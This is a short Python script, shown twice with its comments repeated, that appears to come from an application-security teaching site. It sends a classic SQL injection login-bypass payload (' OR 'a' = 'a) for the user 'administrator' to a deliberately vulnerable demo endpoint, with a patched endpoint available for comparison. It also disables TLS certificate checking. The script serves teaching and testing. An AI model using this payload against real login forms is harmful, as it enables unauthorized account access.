import requests
import cli

use_vulnerable_endpoint, use_webapp_url = cli.get_cli_arguments()

if use_webapp_url:
    url_prefix = "https://appseccheat.codes"
else:
    url_prefix = "http://127.0.0.1:5000"

if use_vulnerable_endpoint:
    url = f"{url_prefix}/vulnerabilities/sqli1/login"
else:
    url = f"{url_prefix}/patches/sqli1/login"

# This configures the proxy web address if you are using one. Exploit will work regardless of whether you have a proxy enabled or not.
# This also sets verification of the server TLS certificate to false because the endpoint is just for demonstration purposes. Ignore any warnings associated with not verifying the certificate.
proxy = "127.0.0.1:8080"
proxies = {"https://": proxy, "http://": proxy}
verify = False
requests.packages.urllib3.disable_warnings()

username = "administrator"
password = "' OR 'a' = 'a"
data = {"username": username, "password": password}

r = requests.post(url, data=data, verify=verify, proxies=proxies)
print(r.text)

import requests
import cli

use_vulnerable_endpoint, use_webapp_url = cli.get_cli_arguments()

if use_webapp_url:
    url_prefix = "https://appseccheat.codes"
else:
    url_prefix = "http://127.0.0.1:5000"

if use_vulnerable_endpoint:
    url = f"{url_prefix}/vulnerabilities/sqli1/login"
else:
    url = f"{url_prefix}/patches/sqli1/login"

# This configures the proxy web address if you are using one. Exploit will work regardless of whether you have a proxy enabled or not.
# This also sets verification of the server TLS certificate to false because the endpoint is just for demonstration purposes. Ignore any warnings associated with not verifying the certificate.
proxy = "127.0.0.1:8080"
proxies = {"https://": proxy, "http://": proxy}
verify = False
requests.packages.urllib3.disable_warnings()

username = "administrator"
password = "' OR 'a' = 'a"
data = {"username": username, "password": password}

r = requests.post(url, data=data, verify=verify, proxies=proxies)
print(r.text)

# This configures the proxy web address if you are using one. Exploit will work regardless of whether you have a proxy enabled or not. # This also sets verification of the server TLS certificate to false because the endpoint is just for demonstration purposes. Ignore any warnings associated with not verifying the certificate.